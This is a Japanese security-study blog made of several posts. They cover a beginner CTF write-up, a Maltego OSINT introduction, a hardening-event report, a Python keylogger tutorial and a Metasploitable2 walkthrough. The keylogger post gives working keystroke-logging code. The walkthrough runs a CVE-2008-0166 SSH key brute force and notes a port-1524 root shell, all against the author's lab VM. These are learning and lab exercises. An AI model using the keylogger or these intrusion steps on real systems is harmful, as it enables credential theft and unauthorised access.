*白百合めも*

セキュリティ中心に毎日の勉強の記録を書くよ*

CTF for Beginners(オンライン)に参加したよ🍬

みなさんこんにちは!!白百合です🍰
今回は、オンラインで開催されたCTF for Beginnersの悩んだ記録(writeupと言っていいのかわからない)を書こうと思います!

この問題はこんな感じで解いた〜、とか、この問題はここまで解いたけど、ここから分からなかった〜とか、そんなゆるい雰囲気でいきます!
正直自分の解き方が合ってるのか全く分からないので、発信することで「そこは違うよ!」と指摘していただけたら嬉しいな・私と同じ立場の人たちの勇気付けになったらいいなと思いで書きました。。
CTFは超初心者なので 、ご指摘をどうか……お願いいたします……。

白百合のCTF歴は
・CTF for GIRLSの講義(フォレンジック)に出た
ksnctfの問題を2問くらい解いた

という感じなので、今回が初競技でした!

どんな問題出るのかもどんなツール使うのかも分からないけど、
オンラインだし、24時間だし、
ググって頑張ればなんとかなるかなと思い挑みました(`・ω・´)

結果は、
f:id:white-lily6u6:20180527132542p:plain
Welcome問題+5問解けました!!やったー!!
正直1問解けたらいいなぐらいの気持ちだったのでめっちゃ嬉しいです。
昨日の夜4時まで起きていた甲斐があった……笑


※この記事では私がどのように問題を解いたかを載せますが、
ずれていたり、かなり遠回しな解き方をしているものがほとんどだと思われます。 正確さを求める方は他の方の素晴らしいwriteupをご覧になってください。


では、ざっと書いていきます!
解き方違う!!っていう部分が多々あると思われますので教えてください。。。

[Warmup] Welcome ---Misc

こちらは、運営さんとのやりとりに使うIRCというチャット?がちゃんと使えるかの確認問題でした。
IRCに行くと、Flag for welcome: ctf4b{welcome_to_seccon_beginners_ctf} と書いてあるので、これを入力すればOKです♫
(最初確認問題だと知らなくて、Miskとか何か分からないしと思って後回しにしてました……ポイントが……)

[Warmup] plain mail ---Misc

packet.pcap というパケットデータのファイルを渡されて、その中のフラグを見つける問題でした。
最初、とりあえずWireSharkで開いてみると、
f:id:white-lily6u6:20180527134325p:plain:w200
こんな文字列が。
おお!最初に暗号化されたファイルを送って、そのあとにそれを解くためのパスワードを送ったのね!
その後、適当にlength大きめのパケットを右クリックしてTCPストリームというものを見てみると、
f:id:white-lily6u6:20180527135222p:plain
こんなのとか。

f:id:white-lily6u6:20180527135042p:plain
こんなのが出て来ました。 おそらく、encrypted.zipというファイルが _you_are_pro_というパスワードで解凍できる、ということなのでしょうが、
WireSharkで、パケットから、送られているzipファイルを落とす方法がわからない…… (そもそもzipファイルが送られているパケットはどれ??状態)
一応調べたのですがわからなかったので、今回は潔く別のツールを使うことにしました。 (他の方の感想ではみんなWireSharkでやってるみたいだったので教えてください……)

WireSharkは断念し、Windowsで動く「NetworkMiner」というツールを使います。
これを起動し、packet.pcapを食わせて「File」を開くと・・・
f:id:white-lily6u6:20180527145100p:plain
なんと!今回やりとりされているファイル群が表示されているではありませんか!
([1]って書いてあるのは気にしないでください。本来は入ってない。)

これをフォルダに落とすとこんな感じ。
f:id:white-lily6u6:20180527145144p:plain
3つのemlファイルの中身は、上の方でWireShark上で確認したものなので、割愛します。
encrypted.zipを開いて、_you_are_pro_ で解凍すると
f:id:white-lily6u6:20180527145914p:plain
フラグが出て来ました!


てけいさんえくすとりーむず --Misk

こちらは、対象環境にncした結果が以下。
f:id:white-lily6u6:20180527152319p:plain
300秒の間に、計算問題を100問解かないといけないみたい。(最初試しに手動でやってみたら20問ちょいで時間が来てしまった)
これはスクリプトで自動的に解いてもわないと!
ということで、pythonで書きました。(私が前に書いたブログを参考にした)
他の方の解答を見ると、もっともっと短く書けるみたい。

import socket

HOST = "ここに相手のホスト名を書くよ"
PORT = ここに相手のポート番号を書くよ

s= socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect((HOST , PORT))

i = 0;
while True:
    i+=1
    print(i)
    row_res = s.recv(1024)
    print(row_res.decode("UTF-8"))
    res = row_res.decode("UTF-8").split()
    string = res[-4] + res[-3] + res[-2]
    ans = str(eval(string))
    sendstr = ans + "\n"
    print("送った文字:" + sendstr)
    s.send(sendstr.encode("UTF-8"))

    if i == 100:
      break

flagans=s.recv(1024)
print(flagans.decode("UTF-8"))
s.close()

これで一応、最後にフラグが返って来ました!
f:id:white-lily6u6:20180527154801p:plain


[Warmup] Greeting --Web

これに関しては、cookieに"admin"をセットして解くらしいのですが、
adminをPOSTしてから、「偽管理人ってなんだよー!」ってなってURLをもう1度叩いたらFlagが出て来てしまいました。
cookieのやり方もあとで見るぞ。



[Warmup] Veni, vidi, vici --Crypto

これは楽しかった!!レ○トンみたいだなって思いながら解きました!
渡されたzipファイルを開くと、「part1」「part2」「part3」と書かれた3つのファイルが入ってます。
中身はそれぞれ以下。
part1→ Gur svefg cneg bs gur synt vf: pgs4o{a0zber
part2→ Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
part3→ {ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥


私これ見たことある!!文字ずらす系のやつだ!!ってテンションが上がりました笑
part1とpart2の、:の前は「flag is」だな!とわかるので、
暗号生成ツール - 暗号くん
こちらのサイトで、平文に「synt」や「xdsy」を入れて、シーザー式暗号で「flag」になるには何文字ずらせばいいかやってみました。

すると、part1は13文字、part2は8文字ずらせば良いことがわかり、
実際のフラグ部分を(数字と記号はそのままにして)その文字数分だけずらすと、
ctf4b{n5more と、_class!cal_cに なりました。
あとは、part3の上下逆さまを直してくっつけてあげると、
ctf4b{n0more_cLass!cal_cRypt0graphy}
となります(`・∀・´)


[Warmup] Simple Auth --Reversing

自分が解いた中だとこれが1番悩みました。
(実際は、ltraceというコマンドで解けるらしい?)
渡されたzipの中には、「simple_auth」というELF実行ファイル(fileコマンドで確認)が入っていました。
実行結果は以下。
f:id:white-lily6u6:20180527162445p:plain:w300
パスワードを聞かれ、適当に答えると、違うよ〜と言われてしまいます。

正直この手の問題はどうしたら良いのかさっぱりだったのですが、調べてみたところ、
Reversing(とかPwn)には、
IDA (Pro・Free)」と「gdb」というツールがめっちゃ役に立つらしい。

早速上記のツールを入れて、まずはIDAさんにsimple_authを食わせてみました。
すると!!!
f:id:white-lily6u6:20180527163040p:plain
この実行ファイルがどんな動きをするのか、フローで出てきました。(上に載せてるのはmain関数内)なんだこのツール、すごい・・・
見た感じ、eaxという変数に1が入っているとき、Flagが表示される方に分岐するみたいですね。
この後、何時間もかけてgdbを使い、eaxに1を入れてFlagを表示させようとしたのですが、なんどやってもFlagには自分が最初に入力したパスワードが出てきてしまいました。
一体どうなってるのよ!!と思い、上の図をもう1度見ると、「auth」という関数があることに気づきます。
中をのぞいてみると……
f:id:white-lily6u6:20180527163724p:plain
ここにもたくさんの処理が書いてあります。
すると、上の方に「;s」という文字を発見し、「あれ、さっきmain関数内で edi, offset aFlagIsS ; "Flag is %s\n" って書いてあったな。このあたり怪しいんじゃない??」と思い、ここに狙いをさだめました。

IDAでも処理をおっていけるらしいのですが、私のIDAは反抗期なのか(?)できなかったので、gdbで行なっていきました。
gdbという言葉もアセンブリという言葉も今まで1度も発することなく生きてきた人間なので、いろんなサイト様を参考にさせていただきました。
こちらが神だった。
gdbの使い方のメモ - ももいろテクノロジー

では、gdbを起動して、さっきの;sの付近で色々やってみようと思います。

$gdb simple_auth 

(gdb)disass auth //auth内のアセンブリコード?達を表示
   ...
   0x000000000040070c <+134>: mov    -0x48(%rbp),%rax
   0x0000000000400710 <+138>: mov    %rax,%rdi
   0x0000000000400713 <+141>: callq  0x400530 <strlen@plt>
   0x0000000000400718 <+146>: mov    %eax,-0x38(%rbp)
   0x000000000040071b <+149>: lea    -0x30(%rbp),%rax
   0x000000000040071f <+153>: mov    %rax,%rdi
   0x0000000000400722 <+156>: callq  0x400530 <strlen@plt>
   0x0000000000400727 <+161>: mov    %eax,-0x34(%rbp)
   ...

(gdb) b *0x40070c //0x000000000040070cにブレイクポイントを作る
Breakpoint 1 at 0x40070c

(gdb) r //ブレイクポイントまで走らせる(run)
Starting program: /home/.../simple_auth 
Input Password: 12345 //適当に入力

Breakpoint 1, 0x000000000040070c in auth ()

(gdb) until *0x40071f //0x000000000040071f まで処理を進める
0x000000000040071f in auth ()

(gdb) x/s $rdi //変数rdiを表示してみる。さっき入力したパスワードだ!
0x7fffffffe4b0: "12345"

(gdb) x/s $rax //変数raxを表示する。Flagが出てきた!
0x7fffffffe470:"ctf4b{rev3rsing_p4ssw0rd}"

一応Flag出せたけど、分からないことだらけなのでもっと勉強しないとなぁという気持ち!



ここまでが、白百合が解いた問題でした!
あとは、途中までやってみようとしたけど断念した問題も、自分の記録用に書いていきます🍦🌹


できなかった問題達

[Warmup] condition --Pwn

こちらは、ホスト名とポートと、ELFファイルが渡され、「あなたは flag にアクセスする権限を持っていますか?」という問題文でした。
書いてあったホストにアクセスしてみると、
f:id:white-lily6u6:20180527172704p:plain:w300
名前を聞かれ、適当に入力すると、違うよと言われてしまいました。


とりあえずは、ELFファイルなので、先ほど登場IDAさんに食わせていきます。
すると、こんな感じ!
f:id:white-lily6u6:20180527172929p:plain
見た所、[rbp+var_4] に、0DEADBEEFhという文字列が入って入れば、flag.txtが表示されるらしいですね!
……ということまでは分かったのですが、これ以上何をしたらいいのか分からずに断念してしまいました!
他の方のwriteup見るぞー!


Find the messages --Misk

「ディスクイメージに隠されているメッセージファイルを探せ!」という問題文と共に、zipが渡されました。
解凍すると、ディスクイメージファイルが出てきます。
こういう系の問題は、前にCTF for GIRLSで習った「FTK Imager」が役に立ちそう!と思い、FTK Imagerを起動し、Image Fileでdisk.imgを選択します。
すると、
f:id:white-lily6u6:20180527173837p:plain
このように、3つのmessageファイルが出てきました!

message1の中に入っているテキストファイルを開くと、何やら文字列が表示されるので、 これをBase64でデコードしてやると(最後の=がBase64感あるよね)、 ctf4b{y0u_t0uched となります!!!

あとは、message2とmessage3からそれぞれflagをゲットすればできる!!とテンションが上がったのですが、力が及びませんでした……。

message2
中に、png拡張子のファイルが入っていた。画像は表示されず、fileコマンドを叩いたところ、「data」と出る。
バイナリエディタでこれを開いて「CTF」や「FLAG」などそれっぽい文字で検索をかけるが見つからない。

PNG」の前まで全消ししたりとか、
Forensics入門(CTF)
ここに載っているツールを片っ端から試してみたけど分からなかった。

あ、ちなみにvimバイナリエディタになるって知ってすごいびっくりしました。
ファイルをviで開いて、:% ! xxdって打ってエンター押すだけ。すごい。


message3
中にpdfファイルが入っているような雰囲気があるのに、どこにも見当たらない。
これもいろんなコマンド試してみたけど分かりませんでした。



他の問題もちょこちょこ見てはみたものの、取っ掛かりも掴めなかったので、
writeupを見て今後は解けるようにしていきたいです!!



それにしても、みんなでやるゲーム!っていうものをやるのが久々だったから、楽しかったなぁ🍘
僕のヒーローアカデミアのサントラをBGMにしてやっていたらテンション上がっちゃいました(*^ー^*)
これでCTF初デビューできたから、今度は力つけて他のCTFにも参加してみるぞー🌺

なんどもうるさいですが、間違ったこと書いていたり、これは書いちゃいけない内容だぞっていうのがあったら、そっと教えていただけると、とてもとても嬉しいです(><)💦

あと、これすごい疑問なんですけど、結構Windowsだけでしか動かないツールってあるじゃないですか。
そういうのって、Mac勢の方はどうやってるのでしょう……?
今回は家だったから隣にWindowsがあって助かったのですが、外でやるとしたら、
CALライセンス買ってVMで解く的な感じでしょうか……??
このあたりのことも全然分かっていないので、教えていただけると嬉しいです。


では、今回はこのへんで!
今日も読んでいただきありがとうございましたm( )m

Maltegoに触れてみた!

こんにちは!白百合です✨
前回の記事から2ヶ月以上も経ってしまいました!
(その間に実はもう1つ記事があったのですが今は非公開にしています...w)

全く更新できていなかったにも関わらず、毎日たくさんの方にお越しいただいていて、ありがたい気持ちでいっぱいです🌷
私のブログを見て、
「これ面白そうかも」とか「昔これやってたな〜!また触ってみよう」とか思ったりして、ちょっとでも何かを始めるきっかけにでもなっていたら幸いです🌸



さて!今日はMaltegoというツールを触っていこうと思います(`・∀・´)
超さわりの部分しか紹介しないし大分省略して書いているので、興味を持った方はもっと調べて私に教えてください(これが真の狙い)

Maltegoは、Paterva社が作っている、色んな種類の情報を楽に収集・可視化できるツールです🌻
OSINTツールとして有名ですね😎
以下の動画を観てみると、Maltegoがどんなものなのか、ざっくり分かると思います♫
(このノリ、好きですw)

youtu.be このPatervaの公式チャンネルに、Maltegoのチュートリアルなどがたくさん載っているので、 動画を観て学んでみるのも良さそうですね✨

この動画やPatervaのサイトを参考に簡単にまとめると、

🍓Maltegoは多くの情報を自動的に収集し、
 その情報間の関係性を可視化するツールだよ!

🍓覚えてほしい概念が3つあるよ!
 Entity
  f:id:white-lily6u6:20180424000248p:plain:w200
  それぞれの情報のことで、グラフ上のノードになるよ。
  (DNS、URL、名前、メールアドレス、ツイッターアカウントなどなど。
   独自で追加もできるよ!)

 Transform
  f:id:white-lily6u6:20180425205808p:plain:w270 → f:id:white-lily6u6:20180425205831p:plain:w220
  Entityから別のEntityを取得する機能(スクリプト)だよ。
  (ドメイン名からIPアドレスを得たりとか)
  データソース(DNSサーバ・検索エンジンWHOIS等)にクエリを実行し
  その結果を新たなEntityとして表示するよ。

 Machine
 f:id:white-lily6u6:20180425210854p:plain:w340
  Machineは、複数のTransformを実行する機能(スクリプト)だよ。
  例えば、「Company Stalker」であれば、
  (会社の)ドメイン名を入力すると、それを元情報として、
  そのドメインのメールアドレス、そのメールアドレスに紐づくFlickrアカウントと
  Myspaceアカウント、ドキュメント(pdf)、そのドキュメントに紐づく
  メールアドレスの情報が自動的に収集されて表示されるよ。


こんな感じです🌼
この3つさえおさえればなんとかなる(と思われる)ので初めての方は覚えておきましょう🍰

余談なんですけど、Paterva社に、
私のブログで、例としてpaterva.comドメインをTransformして
 IPアドレスとかを表示するスクショ貼ったりして大丈夫?
(めっちゃ略した)」
的なメールを送りつけたら、
すぐに、
自由に使っていいよ!ブログうまくいきますように!(ちょっと略した)」
と返ってきて、優しい...ってなりました。

公式といえど人様の情報を晒して良いのか気になって尋ねたのですが、
paterva.comはドメインEntityのデフォルトで入ってる値でもあるので、
おそらくいろいろ試したり使ったりして良い感じなのかな。
(公式HPでも載せてるしね)
ありがとうございます!



さてさて。それでは実際にやっていきましょうかね!
MaltegoはKali linuxに標準で入っているので、それを使うのが楽だと思います✨
ローカルに入れる場合は、Patervaのサイトから、無料のMaltego CEを入れてください🌷

使用するにはアカウント登録が必要なので、
事前に https://www.paterva.com/web7/の、COMMUNITY>BIGITER(FREE)から登録してから起動してくださいね♫
起動し終わったところから始めていきます😉

最初にMachineの選択が出ると思うのですが、今回は使わないのでキャンセルしますっ
(後で遊んでみてくださいね🌹)
そうすると、以下のような画面が出てくると思います✨

f:id:white-lily6u6:20180425223426p:plain
左側はKali linuxバージョンのMaltego4のロゴと各種SNS
右側は色々なベンダーのTransform Hub Item(Transformがたくさん詰まったパッケージ)が用意されています。

右上の「PATERVA CTAS」は標準のパッケージで、既に「INSTALLED」と書かれていると思います。
この中には、オンラインの公開情報を検索するための標準のOSINT Transformが全て入っているらしいです🌸
詳しくは以下URLに載ってるので見てみてください🍩
https://docs.paterva.com/en/maltego-transform-guide/paterva-ctas-transforms/

私はShodanのデータも使いたかったので、「Shodan」もインストールしています💞

好きなTransform Hub Itemをインストールし終わったら、
早速グラフを作っていきます!

左上の f:id:white-lily6u6:20180425233035p:plain:w20ボタンを押すか、「Ctrl+T」で新規作成できます🍫
f:id:white-lily6u6:20180426000101p:plain すると、このように真っ白なキャンパスが出てきます✨
左側に、たくさんのEntityが並んでいますね❤️
こいつらをドラッグして、右のキャンパス上に持ってくることができます!

今回はDomeinをドラッグしてきましょう!すると・・・
f:id:white-lily6u6:20180426000120p:plain ポコッと追加されました!デフォルトの、paterva.comドメインEntityです!
自分のドメイン持ってないので、今回はデフォルト値のままやっていきます(`・ω・´)

次に、このEntityを右クリックすると、Transform欄が出てきます*
f:id:white-lily6u6:20180426002634p:plain:w300

今回はこのドメインが使われているwebサイトを検索エンジンで探す、ということをMaltego上でやります✨

PATERVA CTAS > DNS from Domain > To Website DNS[using Search Engine]
の順でクリックしていくと・・・
f:id:white-lily6u6:20180426003318p:plain:w400
いろいろと出てきましたね!
ポチポチするだけでこんなに簡単に関連情報が手に入るなんてすごい!

次は、それぞれのIPアドレスを出していきます✨
ドメインEntityの1つを右クリックし、
Resolve to IP > To IP Address [DNS] の順でクリックすると f:id:white-lily6u6:20180428200400p:plain:w300f:id:white-lily6u6:20180428210109p:plain:w100
このように選択ドメインIPアドレスが可視化されます🍰

これを全部に対して行っていくと
f:id:white-lily6u6:20180428212538p:plain:w400
このように、どのドメインがどのIPアドレスか、パッと分かりますね🌺
cetas.paterva.comだけが他と違うのも見れますね。

IPアドレスが出たら色んなことができると思うので後は色々なTransform試して遊んでみたらいいんじゃないかと思います🌷

私は最後に、追加したItem「Shodan」のTransformを行って終わりにします🍪
f:id:white-lily6u6:20180428232451p:plain
どの情報とどの情報が結びついてるか、すごく見やすいですねっ


1つ注意点がありまして、
色々なTransformを試していると以下のような注意が出てくることがあります!
f:id:white-lily6u6:20180428234023p:plain
超簡単に言うと、このTransformでなんかあったらあなた自身が責任とってね!ということです。
nmapとかでスキャンするのが偵察行為と見なされてしまうように、
直接攻撃していなくても危ない行動だと捉えられてしまうこともありますからね。
この注意書きが出て、特に自分の環境・自組織以外に行うときは、本当にやって大丈夫か、よくよくよく考えましょう。


さて、今日はMaltegoの簡単な使い方の紹介でした❤️

普段どういうことに使えるのかがいまいち分かっていないのですが、
自組織で不要な情報が公開されていないか確認するだったり、 何かしらの事件をリサーチして追っていくのに役立ちそうですね🌷
どういう順番でTransformしていったら良い感じの情報が得られるかとかは全く分かっていないので、お詳しい方ご教授してくれると嬉しいです...(><)❗️

あと、この部分間違ってる、とか、こう書いた方が良さそうとか、そういうご意見もありましたら、DMでもコメントでも良いのでお待ちしておりますm( )m

最後に都内某所の花と共にお別れです!またね!
また次も早めに更新できたらいいな🌹

f:id:white-lily6u6:20180429000158j:plain:w400

Micro Hardening v1.0に参加してきました🐟

皆さんこんにちは!🌷
まさか東京で雪がこんなに降るとは思っていなかったので、びっくりしておりました⛄️
すっっごく久しぶりの投稿になります(><)
色々と自信喪失しててしばらくメンヘラってしまっていたので書けませんでした笑
とりあえずメンタルは回復したのでまたブログ更新してきますよ🍓😋


昨日は、第一回目Micro Hardeningに参加させていただいておりました🐟

microhardening.connpass.com


沖縄や淡路島で行われている本家Hardeningや、
MINI Hardeningの噂は予々伺っていたのですが、
圧倒的技術力不足(+そもそもどういう知識・技術が必要なのか分からない)
上記理由により、勝ちに来ているチームメンバーに迷惑をかけてしまうのではないか
という不安が大きく参加する勇気が出ませんでした☔️
(※もちろん技術以外の役割もあるので技術面不安でも参加できると思います!!)

しかし、Micro Hardeningは
MINI Hardeningよりもカジュアルで、同じ攻撃セットを4回ほど繰り返し体験できることから、 何も分からない私でも、何かしら持ち帰れるものがあるのでは...!?と思い参加を決めました!

まず、結論からいうと、とっても面白かったです!!
素敵だなと思ったところがいっぱいあったので列挙していきます笑

事前配布資料が丁寧

Hardening前々日、「はぁ・・・当日が近づいてきた・・・緊張する・・・💧」と震えていた丁度そのとき、
運営さんから、Hardeningの事前配布資料が届きました❣️
当日の環境の説明やゲームの進め方が詳しく書かれていて、どういうゲームなのかすらよくわかっていなかった自分としては、めちゃめちゃありがたかったです😭
それだけでなく、基礎知識(こういったコマンドを使ったりここのファイルをチェックすると良いよ等)の資料もたくさん付いていて、こんなに親切なのかと感激しました...!
私のような初心者は、どこを見て何をしたら良いのかが分からないので、資料としてまとめられていてすごく救われました。
競技中もこの資料をかなり利用していました...!!本当にありがとうございます!

勝つことが目的ではない雰囲気

上の方でも書きましたが、こういったチームで競う系のイベントに参加するときに1番気にしてしまうのは、
自分が参加することでチームの方に迷惑をかけてしまうのでは...!?ということです。
モチベーションは人それぞれだと思いますが、誰しも少なからず勝ちたいと思って来ているのではないかと思います。
そのこと自体はすごくすごく素敵だと思うのですが、初心者からするとちょっと不安を感じてしまいます。

しかし!Micro Hardeningでは、他のチームに勝つことが目的というよりも、
4セットが行われていく中で発見を重ねて、自分たちのチームの最初のスコアよりも上がっていけたらいいよね。という、参加者の成長に重きを置いている感じでした。
主催者の方が、気楽にやりましょう〜!と言っていたこともあり、会場もそういった和やかな空気になっており、 良い意味で肩の力を抜くことができました🌻

1セット目早々、パスワードの設定を2箇所変えなければいけないところを1箇所しか変えていなくて、DBにアクセスできず売り上げが一時止まってしまったのですが、
チームメンバーが「次のセットでもう1箇所もちゃんと変えれば大丈夫だよ〜!」と言ってくださって、感激しました。

他のチーム含め、もし失敗しても次に活かせばOK!という雰囲気だったので、私のような初心者でも怖がらずに色々できましたし、試しにこれやってみよう!ということが気軽にできてとっても楽しかったです。

自分に足りないものが分かる

今回参加してみて、自分になんの知識が足りないのかがなんとなく分かったのが1番の収穫でした。
詳しく書くとネタバレになってしまうので書けませんが、

各種ログの見方
(今までログを見る機会がほとんどなくて、こういうときどこのログを見れば良いかという知識が足りないと感じた)

iptablesの知識
(使い方とかは把握しているつもりだったのに、実際に設定してみるとちゃんと理解していないところがあることが分かった)

DNSやメールサーバーなどの知識
(このあたりは何も分からず手をつけられなかったので、実際にサーバー立てて学びたい)

バックアップを取っておく必要があるものはどれか
(どのファイルのバックアップを取っておけば良いのか分からず適当に取ってしまった)

...などなどなど(上記は一部です)
自分の失敗だったり、他の方の取り組みから気づくことがいっぱいありました。
今回足りないと気づいたところを1つ1つ抑えていったら、他のHardeningにも技術枠で参加できるようになるかな。


ざっと3つ書きましたが、他にも素敵ポイントいっぱいありました🌺
(あと、こういうイベントに参加される方々ってすごく熱くて人間的にも素晴らしい方ばかりなので、良い影響を受けること間違いなしです)
勇気出して参加して本当によかったなと思います。
ありがとうございました。

今後Micro Hardeningは日本各地で開催されるみたいなので(草津温泉や鹿児島や大阪などなど)ぜひ参加してみてはいかがでしょうか。
(北海道(私の地元)での開催もお待ちしております笑)

最後にサムネ用に、タリーズのティーを☕️
f:id:white-lily6u6:20180211174739j:plain:w500

Pythonでキーロガーやってみよう🌟

みなさんこんにちは🍰
白百合です😈

2018年になってもう10日以上経ってしまっていますが、
みなさんどうお過ごしですか??
私は正月ボケが抜けきらず、朝起きてもすぐ布団から出られずにゴロゴロしています笑
さすがにそろそろ社会人のコスプレをしなければいけませんね!



🍫pyHook→pyxhook

今日は、Python3でらくらく☆キーロガーをやっていきたいと思います🌺

pyxhook (https://github.com/JeffHoogland/pyxhook)
というモジュールを使っていきますよ!

ほんとは、
Windowsで動くpyHook(https://pypi.python.org/pypi/pyHook)というキーやマウスイベント用モジュール(pyxhookの元)を使いたかったのですが、
Python3でpyHookを試してみると、

TypeError: KeyboardSwitch() missing 8 required positional   
arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags',   
'time', 'hwnd', and 'win_name'  

というエラーが出てしまい、
調べるとどうやらPython3で出現するバグみたいで、pyHookはやめました。 (Python3用のpyHookモジュールもGithubにあがっていましたが既に心が折れていたので断念w)

代わりに、先に紹介した、Linuxで動くpyxhookモジュールを使おう!と決めました🌻
pyHookと使い方はほぼ同じです!!


🍫pyxhookの使い方

使い方は、pyxhookのリポジトリ内の"example.py"を見ればわかるようになっています🌷
以下、それをちょこっとだけ変えて、
押したキーのみを表示&Key.logというファイルにログを書き込んでいくようにしたコードです🌸

keylogger.py

import pyxhook

//ログの出力ファイルを指定
log_file = '/root/pythonstudy/log/Key.log'

//キーが押されるごとに呼び出される関数
def kbevent(event):

 //押されたキーの値を出力
    print(event.Key)
    
 //ログファイルを追記型で開き、押されたキーの値を出力
    log = open(log_file,'a')
    log.write(event.Key)
    
 //スペースキーが押されたら処理を終了する
 //(ログファイルをクローズ+HookManagerを終了)
    if event.Ascii == 32:
       log.close()
       hookman.cancel()

//HookManagerを定義する
hookman = pyxhook.HookManager()
//キーが押されたらkbevent関数を呼び出す定義をする
hookman.KeyDown = kbevent
//キーボードフックをセットする
hookman.HookKeyboard()
//HookManagerをスタートする
hookman.start()

なんとこれだけでキーロガーできてしまうんです・・・
めちゃめちゃ簡単ですよね(><)



🍫いざ、実食!

見出しは食戟のソーマの影響です・・・笑

実際に動かしてみたらこんな感じです🍓
youtu.be
あとは、このKey.logファイルを一週間毎くらいに別のホストに送ったりできたら、
トロイの木馬とかで使われてそうなキーロガーになりますねー

キーロガーが仕込まれていると、クレジット番号や、ユーザ名、パスワードなども
簡単に?盗まれてしまうので、ほんと嫌だなぁって思います👿👿

そういえば❣️ 最初、WindowsでpyHookを使ったコードの実行を試していたら、 入れていたセキュリティソフトが、「脅威を発見しました」ってそのファイルを削除しだして、
うわ、めっちゃ仕事してるやん...!ってホッとしたことがありました笑

キーロガーの対策は、
ウイルス対策ソフトをきちんとアップデートしたり、
パスワード管理ソフトを使って自動入力させたり、
(個人ではあまりしないかもだけど)ネットワークのパケットを検査して不審な通信が発生していないかチェックする
・・・あたりでしょうか。🍰
これ以外に有効な方法ありましたら教えてください!  

🍫ありがとうございました!

今日も読んでいただきありがとうございました♫
こないだイチゴを買ってきたらなかなか可愛い写真が撮れたのでこれをサムネにします🍓

f:id:white-lily6u6:20180114181023j:plain

最新公開作:フリー音楽素材|SHWフリー音楽素材
ここの、A pe Kamuy という曲がとても良いので気分上げたい時におすすめですよ!

年末なのでMetasploitable2で遊んでみたよ!

みなさんこんにちはーっ
もうすぐ2017年が終わろうとしていますね🌞
みなさん今年はどんな一年でしたか?

今回は、せっかく年末なので遊ばなきゃ!!!と思って、
今まであまり触れてこなかった🎀Metasploitable🎀と遊んでみました🌺

Metasploitableというのは、脆弱性たくさん含んだやられサーバーです🍩
Metasploitable - Browse /Metasploitable2 at SourceForge.net
↑から.vmdkファイル入手できます♪
グローバルに晒さないようにだけはぜったい注意⚡️
自分で攻撃対象サーバーを作るのってちょっと面倒だったりするからとてもありがたい❤️

実際の攻撃手順に沿ってやっていきましょう🌷



内部ネットワーク設定で、以下の2つのサーバーを起動しておきます🍦
(両方ともvi /etc/network/interfaces でこっそりIPアドレスを設定しておこう!)

攻撃サーバー          やられサーバー
Kali linux(Debian)    →   Metasploitable(Ubuntu)

〜FIRST STEP〜
まずは、やられサーバーのIPアドレスを特定しましょう!

Kali linux自身のIPアドレスをチェックすると
f:id:white-lily6u6:20171230203313p:plain
192.168.7.1だということが分かりました🌻

この情報を使って、192.168.7.0/24に対してnmapスキャンをしていきますよ!
f:id:white-lily6u6:20171230203454p:plain
出てきましたーっ!
MetasploitableちゃんのIPアドレスは 192.168.7.2 ということが判明しました🚬

〜SECOND STEP〜
あいてるポートとかサービスを調査してみましょう⭐️
同じくnmapを使っていきますー!(-Aとかでも良いよ)
f:id:white-lily6u6:20171230205215p:plain
おおお・・・なんかめちゃめちゃ空いてますね!?いいぞー!
多分プロ各位はこの情報を見ただけで、
「vsftpdのバックドア利用できるぞ...Sambaのusername map scrip設定が...rloginが...てか1524ポートなんやねん!ww」
みたいなツッコミが色々と出てくるのかな?と思うのですが
私は初心者なのでこの情報見ただけじゃよく分かりません!(ググれ)
なのでスキャンツールに頼りたいと思いまーす笑

〜THIRD STEP〜
脆弱性スキャンツールNessusを使って脆弱性を調査しましょう!
事前に、

https://www.tenable.com/products/nessus/select-your-operating-system

↑こちらから、Kali linux用のNessusをダウンロードして、アクティベーションコードをゲットしておきましょう♪
私はこちらを参考にして入れたよ→Kali LinuxにNessusをインストール - ろば電子が詰まっている

今回だと、https://192.168.7.1:8834/でNessusの管理画面へアクセスできます🌹
早速、MetasploitableのIPアドレス192.168.7.2に対して、Basic Network Scanをやってみました!
すると・・・
f:id:white-lily6u6:20171230223721p:plain
おおお・・・!クリティカルが6件もありますね!
真ん中らへんの"Rogue Shell Backdoor Detection"というのは、先ほどのnmapでも怪しいと思っていましたが、
1524ポートに認証なしで接続してコマンド実行できちゃいますよーっていう脆弱性です!
nc 192.168.7.2 1524とうつだけでroot権限取れてしまいます。笑
それだとあまりにもあっけないので、今回は、上の2つ(両方ともCVE-2008-0166)の脆弱性を利用してみたいと思います🍧

〜FOURTH STEP〜
さて!Nessusでわかった脆弱性を突いていきましょうか!
"Debian OpenSSL Package Random Number Generator Weakness"というのは、
OpenSSL のバージョン0.9.8c-1から0.9.8g-9までは、わりと簡単な数値を生成しちゃう乱数ジェネレーターを使っているからブルートフォース攻撃で鍵がわかってしまうよ〜っていう脆弱性です⚡️⚡️

今回は
GitHub - g0tmi1k/debian-ssh: Debian OpenSSL Predictable PRNG (CVE-2008-0166)
↑こちらを利用させていただきました!!

リンクから辿っていって・・・
攻撃コード:OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Python)
鍵の一覧(辞書):debian-ssh/debian_ssh_rsa_2048_x86.tar.bz2 at master · g0tmi1k/debian-ssh · GitHub
を使いました🌹

使い方はなんと簡単!
python <攻撃コードファイル名> <鍵一覧が入っているフォルダ名> <攻撃対象IP> <アカウント名>とするだけ!
私の場合だと、 python 5720.py ./rsa/2048/ 192.168.7.2 root としてみました🍫
よし!ブルートフォースだ!
f:id:white-lily6u6:20171230231959p:plain
すごい数の鍵がどんどん試されていって・・・
f:id:white-lily6u6:20171230232030p:plain
rootのSSHキーが見つかってしまいました⚡️⚡️⚡️
しかも丁寧にうつコマンドまで教えてくれてる...親切...笑

〜LAST STEP〜
SSHキーが見つかったのであとは侵入するだけです!
f:id:white-lily6u6:20171230232507p:plain

はい...こんなあっさりとMetasploitableにrootで侵入できてしまいました🍭
ここから何をするかは人それぞれです!⚡️🌊
(初心者だから攻撃者たちがどういうことするのが一般的なのかよくわかっていない)


今回はこんな感じでMetasploitableに対してエクスプロイトする一つのやり方を紹介致しました!
実際に試してみることで、個人や会社で運用してるサーバー大丈夫かな?という危機感が生まれるので、こういうのほんと大事だなーって思います!

